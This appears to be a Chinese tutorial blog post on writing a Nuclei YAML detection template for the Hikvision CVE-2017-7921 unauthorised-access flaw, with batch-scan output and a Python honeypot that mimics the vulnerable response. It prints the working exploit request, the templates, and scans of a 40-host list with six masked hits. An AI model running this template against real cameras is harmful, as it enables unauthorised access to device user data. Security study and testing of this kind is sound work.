Nuclei YAML POC 编写以及批量检测

  • 法律与道德使用声明
  • 前言
  • Nuclei 下载地址
    • 下载对应版本的文件
    • 关于检查cpu架构
  • 关于hkws的未授权访问
    • 参考资料
  • 关于 Neclei Yaml 脚本编写
    • BP Nuclei Template 插件下载并安装
    • 利用插件编写 POC YAML 文件
      • 1、找到有漏洞的页面抓包发送给插件
      • 2、同时将`response`中的关键字`0.0.0.0`也发送给插件
      • 3、插件中对YAML略做修订后进行保存
      • 4、将YAML模版进行保存
      • 5、在Terminal中进行测试
      • 6、使用经验
  • 关于对抗
    • 防御方伪造漏洞特征让`nuclei`误判,可利用一个很简单的`python`脚本实现:
    • 攻击方对检测脚本进行升级
    • 进一步升级yaml文件

法律与道德使用声明

本课程/笔记及相关技术内容仅限合法授权场景使用,严禁一切未授权的非法行为!

1. 适用场景限制

  • 本课程涉及的 网络安全知识、工具及攻击手法 仅允许在以下场景使用:
    • ✅ 授权渗透测试(需获得目标方书面授权)
    • ✅ CTF竞赛、攻防演练等合规赛事
    • ✅ 封闭实验环境(如本地靶场、虚拟机)
    • ✅ 学术研究、技术教学(需确保隔离环境)
  • 严禁 用于任何未经授权的真实系统、网络或设备。
    2. 法律与道德责任
  • 根据《中华人民共和国网络安全法》《刑法》等相关法律法规,未经授权的网络入侵、数据窃取、系统破坏等行为均属违法,可能面临刑事处罚及民事赔偿。
  • 使用者需对自身行为负全部责任,课程作者及发布平台不承担任何因滥用技术导致的连带责任。
    3. 工具与知识的正当用途
  • 防御视角:学习漏洞原理以提升系统防护能力。
  • 教育视角:理解攻击手法以培养安全意识与应急响应能力。
  • 禁止用途:包括但不限于:
    -❌ 入侵他人计算机系统
    -❌ 窃取、篡改、删除数据
    -❌ 传播恶意软件(木马、勒索病毒等)
    -❌ 发起DDoS攻击或网络诈骗
    4. 风险自担原则
  • 即使在合法授权场景下,操作不当仍可能导致系统崩溃、数据丢失等风险。使用者需自行评估并承担操作后果。
    5. 知识产权声明
  • 课程中涉及的第三方工具、代码、文档版权归原作者所有,引用时请遵循其许可协议(如GPL、MIT等)。
    6. 违法违规后果
  • 技术滥用将被依法追责,包括但不限于:
  • 行政拘留、罚款(《网络安全法》第27、63条)
  • 有期徒刑(《刑法》第285、286条非法侵入/破坏计算机系统罪)
  • 终身禁止从事网络安全相关职业

请务必遵守法律法规,技术向善,共同维护网络安全环境!
如发现安全漏洞,请通过合法渠道上报(如CNVD、厂商SRC)

前言

本文根据蚁景网安实验室百里老师的直播课进行复现

Nuclei 下载地址

https://github.com/projectdiscovery/nuclei/releases/tag/v3.4.10

下载对应版本的文件

  • 如果是kali linux,可以使用uname -a或者uname -m检查cpu架构,如果是x86_64可以下载箭头所指的amd

nuclei 下载页面截图

  • 如果下载速度比较慢,可以用迅雷等工具进行加速。

关于检查cpu架构

┌──(kali㉿kali)-[~/Desktop/temp/Security]
└─$ uname -m
x86_64┌──(kali㉿kali)-[~/Desktop/temp/Security]
└─$ uname -a
Linux kali 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64 GNU/Linux

关于hkws的未授权访问

参考资料

漏洞详情、具体利用、信息收集等,可以参考各位大佬的文章,这里不再赘述:
yier-G大佬-《CVE-2017-7921 海康威视(Hikvision)摄像头漏洞复现》
暴躁的小胡!!!大佬-《2025年最新CVE-2017-7921漏洞复现》

漏洞POC
http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK

如存在未授权访问漏洞,则会返回如下页面
有漏洞的返回页面
如果不存在未授权访问漏洞,则会返回如下页面需要填写用户名和密码
无漏洞的返回页面

我们只要判断响应结果中是否存在响应数据即可,假设这里使用0.0.0.0

关于 Neclei Yaml 脚本编写

BP Nuclei Template 插件下载并安装

 Nuclei Template Generator Plugin

利用插件编写 POC YAML 文件

1、找到有漏洞的页面抓包发送给插件

把请求包发送给插件

2、同时将response中的关键字0.0.0.0也发送给插件

把响应包中的关键字也发送给插件

3、插件中对YAML略做修订后进行保存

最终脚本如下:

id: CVE-2017-7921info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授权访问漏洞reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: tagshttp:- raw:- |+GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:- type: wordpart: bodywords:- <ipAddress>0.0.0.0</ipAddress>- type: statusstatus:- 200

4、将YAML模版进行保存

保存模版

保存完毕后,文件名会被修改,同时会列出运行的命令
保存后的结果

5、在Terminal中进行测试

-v 显示详细信息(实测未触发漏洞也会列出)
-t 指定要运行的模板或者模板目录(以逗号分隔或目录形式)
-u 指定扫描的目标URL/主机(多个目标则指定多个-u参数)
具体可以详见nuclei官方中文文档https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t /home/kali/Desktop/temp/CVE-2017-7921-POC.yaml -u http://{{ip:port}}/  # 其中.yaml是我们刚才写的模版__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[INF] Your current nuclei-templates  are outdated. Latest is v10.2.8
[WRN] failed to update nuclei templates: cause="failed to download templates" chain="context deadline exceeded (Client.Timeout or context cancellation while reading body); failed to read resp body"   # 这里检查模版update
[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version:  (outdated)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.                                                                        
[INF] Targets loaded for current scan: 1                                                                                              
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK                               
[CVE-2017-7921] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK                                            
[INF] Scan completed in 672.773988ms. 1 matches found.    # 备注,这里虽然现实时间很短,但是上面check update花了很长时间

6、使用经验

使用 --disable-update-check不检查升级加快扫描速度

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-7921-POC.yaml -u http://{{ip:port}}/ --disable-update-check # 其中.yaml是我们刚才写的模版__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 657.58416ms. 1 matches found.

对列表进行批量扫描
这里没有用参数 -v 所以会忽略掉不存在漏洞的信息
继续带上 --disable 参数,避免检查update加快速度

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ./nuclei -l list.txt -t ./CVE-2017-7921-POC.yaml --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[INF] Supplied input was automatically deduplicated (7 removed).
[ERR] Could not read nuclei-ignore file: open /home/kali/.config/nuclei/.nuclei-ignore: no such file or directory
goroutine 1 [running]:
runtime/debug.Stack()runtime/debug/stack.go:26 +0x5e
github.com/projectdiscovery/nuclei/v3/pkg/catalog/config.ReadIgnoreFile()github.com/projectdiscovery/nuclei/v3/pkg/catalog/config/ignorefile.go:21 +0xd3
github.com/projectdiscovery/nuclei/v3/internal/runner.(*Runner).RunEnumeration(0xc000faf440)github.com/projectdiscovery/nuclei/v3/internal/runner/runner.go:541 +0x2cd
main.main()./main.go:223 +0xc12[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 40
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] https://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 8.02384949s. 6 matches found.

关于对抗

下面是自己突发奇想

防御方伪造漏洞特征让nuclei误判,可利用一个很简单的python脚本实现:

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qsclass SimpleHTTPRequestHandler(BaseHTTPRequestHandler):def do_GET(self):# 解析URL和查询参数parsed_path = urlparse(self.path)query_params = parse_qs(parsed_path.query)# 检查是否是目标路径和参数if parsed_path.path == '/Security/users' and 'auth' in query_params and query_params['auth'][0] == 'YWRtaW46MTEK':# 设置响应头self.send_response(200)self.send_header('Content-type', 'application/xml')self.end_headers()# 返回XML内容response_xml = '''<UserList version="1.0">
<User version="1.0">
<id>1</id>
<userName>admin</userName>
<priority>high</priority>
<ipAddress>0.0.0.0</ipAddress>
<macAddress>00:00:00:00:00:00</macAddress>
<userLevel>Administrator</userLevel>
</User>
</UserList>'''

上述py脚本运行后,用python开启服务

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ python3 honey.py
Starting HTTP server on port 8000...
测试URL: http://localhost:8000/Security/users?auth=YWRtaW46MTEK
192.168.56.101 - - [05/Sep/2025 12:03:00] "GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1" 200 -

攻击方如果单纯检测<ipAddress>0.0.0.0</ipAddress>,则nuclei会误判

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-7921-POC.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 1.591111ms. 1 matches found.

攻击方对检测脚本进行升级

比如加入一些其他特征:
其他特征
Server特征为例进行修改,并保存在了CVE-2017-792-update.yaml模版中

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ cat CVE-2017-792-update.yaml
id: CVE-2017-7921
info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授权访问漏洞reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: tags
http:- raw:- |+GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:- type: wordpart: headerwords:- 'Server: App-webs'   # 增加了该字段- type: wordpart: bodywords:- <ipAddress>0.0.0.0</ipAddress>- type: statusstatus:- 200

此时使用新模版再进行检测可以看到,提示并不是漏洞。

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ls
CVE-2017-7921-POC.yaml  CVE-2017-792-update.yaml  honey.py  index.html  list.txt  nuclei  nuclei_3.4.10_linux_amd64.zip┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-792-update.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 1.461189ms. No results found.

进一步升级yaml文件

如果是真实的漏洞,会提示App-webs,保存在test.yaml模版中

id: CVE-2017-7921info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授权访问漏洞检测,包含蜜罐识别reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: cve,hikvision,unauthorized-accessclassification:cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hcvss-score: 9.8cve-id: CVE-2017-7921http:- raw:- |GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:# 主要匹配条件 - 检查响应体内容- type: wordpart: bodywords:- "<ipAddress>0.0.0.0</ipAddress>"# 检查状态码- type: statusstatus:- 200# 检查是否为真实设备(有Server头)- type: wordpart: headerwords:- "Server: App-webs"name: real-device# 提取器 - 用于获取Server头部信息extractors:- type: regexpart: headername: serverregex:- "Server: ([^\\r\\n]*)"group: 1

此时对模拟的蜜罐和真实漏洞的目标分别进行尝试,结果如下:

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./test.yaml -u http://{{ip:port}}/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921:server] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK ["App-webs/"]  # 留意这里的 ["App-webs/"]
[INF] Scan completed in 652.761265ms. 1 matches found.┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./test.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 2.172032ms. No results found.

因技术有限,利用AI目前仅能将yaml脚本做到这个地步,另外或许利用nuclei官方自己的ai可以进一步完善。

https://cloud.projectdiscovery.io/templates

本文抛砖引玉,感谢阅读。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/95872.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/95872.shtml
英文地址,请注明出处:http://en.pswp.cn/web/95872.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自动化运维之ansible

一、认识自动化运维假如管理很多台服务器&#xff0c;主要关注以下几个方面“1.管理机与被管理机的连接&#xff08;管理机如何将管理指令发送给被管理机&#xff09;2.服务器信息收集&#xff08;如果被管理的服务器有centos7.5外还有其它linux发行版&#xff0c;如suse,ubunt…

【温室气体数据集】亚洲地区长期空气污染物和温室气体排放数据 REAS

目录 REAS 数据集概述 REAS 数据版本及特点 数据内容(以 REASv3.2.1 为例) 数据形式 数据下载 参考 REAS 数据集(Regional Emission inventory in ASia,亚洲区域排放清单)是由日本国立环境研究所(NIES)及相关研究人员开发的一个覆盖亚洲地区长期空气污染物和温室气体排放…

中州养老项目:利用Redis解决权限接口响应慢的问题

目录 在Java中使用Redis缓存 项目中集成SpringCache 在Java中使用Redis缓存 Redis作为缓存,想要在Java中操作Redis,需要 Java中的客户端操纵Redis就像JDBC操作数据库一样,实际底层封装了对Redis的基础操作 如何在Java中使用Redis呢?先导入Redis的依赖,这个依赖导入后相当于把…

MathJax - LaTeX:WordPress 公式精准呈现方案

写在前面&#xff1a;本博客仅作记录学习之用&#xff0c;部分图片来自网络&#xff0c;如需引用请注明出处&#xff0c;同时如有侵犯您的权益&#xff0c;请联系删除&#xff01; 文章目录前言安装 MathJax-LaTeX 插件修改插件文件效果总结互动致谢参考前言 在当今知识传播与…

详细解读Docker

1.概述Docker是一种优秀的开源的容器化平台。用于部署、运行应用程序&#xff0c;它通过将应用及其依赖打包成轻量级、可移植的容器&#xff0c;实现高效一致的运行效果&#xff0c;简单来说&#xff0c;Docker就是一种轻量级的虚拟技术。2.核心概念2.1.容器&#xff08;Contai…

GEE:基于自定义的年度时序数据集进行LandTrendr变化检测

本文记录了使用自己的年度时序数据集,进行 LandTrendr 变化检测的代码。结果输出变化年份、变化幅度以及变化持续时间。 结果如下图所示, 文章目录 一、核心函数 二、代码 三、代码链接 一、核心函数 var eeltgcm = require(users/949384116/lib:LandTrendr/getChangeMap)v…

PostgreSQL收集pg_stat_activity记录的shell工具pg_collect_pgsa

这是一个纯脚本工具&#xff0c;用于从PostgreSQL的pg_stat_activity视图中定期收集数据并保存到本地日志文件。 相关背景&#xff1a; 某个慢SQL打满内存&#xff0c;导致系统kill掉postgres的某个进程&#xff0c;进而导致postgres进程重启&#xff0c;没有现场排查不了具体…

通俗的话语解读《银行保险机构信息科技外包风险监管办法》

这份文件不是 “纸上规矩”&#xff0c;而是银行保险机构做信息科技外包的 “实操手册”—— 从要不要外包、选谁合作&#xff0c;到怎么管过程、防风险&#xff0c;再到出问题怎么应对&#xff0c;都给了明确方向。作为管理者&#xff0c;核心是把这些要求落地到日常决策和系统…

芯片ATE测试PAT(Part Average Testing)学习总结-20250916

目录 一、基本概念 二、静态PAT 三、动态PAT 四、参考链接: 一、基本概念 零件平均测试(Part Average Testing,PAT)是一种基于统计学的质量控制方法,主要用于半导体制造中筛选出与正常参数范围偏差较大的“异常值”芯片,以提高产品质量和可靠性; 二、静态PAT 静态…

【数据结构、java学习】数组(Array)

1&#xff0c;概念 数组一旦定义&#xff0c;其维数和维界就不再改变。 因此除了结构的初始化和销毁之外&#xff0c;数组只有存取元素和修改元素值的操作。Array可以存放对象类型、基本数据类型的数据。数组中元素在内存中按顺序线性存放&#xff0c;通过第一个元素就能访问随…

58-正则表达式

1. 概念正则表达式是一种用来匹配字符串的强有力的武器.设计思想&#xff1a;用一种描述性的语言来给字符串定义一个规则&#xff0c;凡是符合规则的字符串&#xff0c;就认为它"匹配"【合法】否则就是不匹配[不合法]举例&#xff1a;beijinglishao163.com2. 规则 1.…

图片木马制作的三种方法

本文转自&#xff1a;https://www.cnblogs.com/cybersecuritystools/p/14932567.html 0x01什么是图片木马&#xff1f; 图片木马在网络上没有统一的定义&#xff0c;在这里我给出自己的定义。图片木马是一张能正常显示又包含恶意代码&#xff08;比如一句话木马&#xff09;的…

【Redis】缓存的穿透、击穿和雪崩

引言要了解缓存的这几个相关问题&#xff0c;我们先以一个例子来引入&#xff1a;有一个get请求&#xff1a;api/news/getById/1正常情况下对其申请访问的流程如图&#xff1a;但若是如此&#xff0c;访问增多或者受到攻击时很容易受到以下问题1 缓存穿透1.1 造成原因当查询一个…

打造一款高稳定、低延迟、跨平台RTSP播放器的技术实践

一、引言 RTSP&#xff08;Real Time Streaming Protocol&#xff09;作为经典的实时流媒体协议&#xff0c;已经深深嵌入到安防监控、远程教育、工业巡检、低空经济、医疗影像传输等行业之中&#xff0c;可以说是这些场景的视频传输“基础设施”。一个稳定的 RTSP 播放器&…

C++_数据结构

数据结构是计算机存储、组织数据的方式&#xff0c;它使得数据能够被高效地访问和修改。根据数据元素之间关系的不同特性&#xff0c;数据结构可以分为多种类型。主要可以分为两大类&#xff1a;逻辑结构和物理结构&#xff08;也称存储结构&#xff09;。 一、逻辑结构&#x…

一个正常的 CSDN 博客账号,需要做哪些基础准备?

一个正常的 CSDN 博客账号&#xff0c;需要做哪些准备&#xff1f; CSDN&#xff08;中国软件开发网&#xff09;作为国内最具影响力的技术社区之一&#xff0c;不仅是开发者获取信息的重要平台&#xff0c;也是技术人建立个人品牌、输出知识、积累影响力的重要阵地。想要把一…

【Python基础】 17 Rust 与 Python 运算符对比学习笔记

一、算术运算符运算符Rust &#x1f980;Python &#x1f40d;示例 (Rust)示例 (Python)说明加法加法let sum 5 3;sum 5 3-减法减法let diff 5 - 3;diff 5 - 3*乘法乘法let product 5 * 3;product 5 * 3/除法除法let quotient 5 / 3; → 1quotient 5 / 3 → 1.666...…

单链表逆序java

在Java中实现单链表的逆序&#xff0c;可以通过迭代或递归两种方式。以下是两种方法的详细实现&#xff1a; 1. 迭代方法&#xff08;推荐&#xff09; public class ListNode {int val;ListNode next;ListNode(int x) { val x; } }class Solution {public ListNode reverseLi…

(11)用于无GPS导航的制图师SLAM(二)

文章目录 前言 7 构建软件包 8 开始制图 9 配置 ArduPilot 10 测试 11 视频 前言 本页展示了如何使用 RPLidarA2 激光雷达(RPLidarA2 lidar)设置 ROS 和 Google Cartographer SLAM&#xff0c;为 ArduPilot 提供本地位置估计&#xff0c;使其可以在没有 GPS 的情况下运行…

1.5、机器学习-回归算法

1、线性回归模型 线性回归模型(Liner Regression)&#xff0c;是利用线性拟合的方式来探寻数据背后的规律。通过搭建线性回归模型&#xff0c;可以寻找这些散点&#xff08;也称样本点&#xff09;背后的趋势线(也称回归曲线)。 借助回归曲线&#xff0c;我们可以进行一些简单…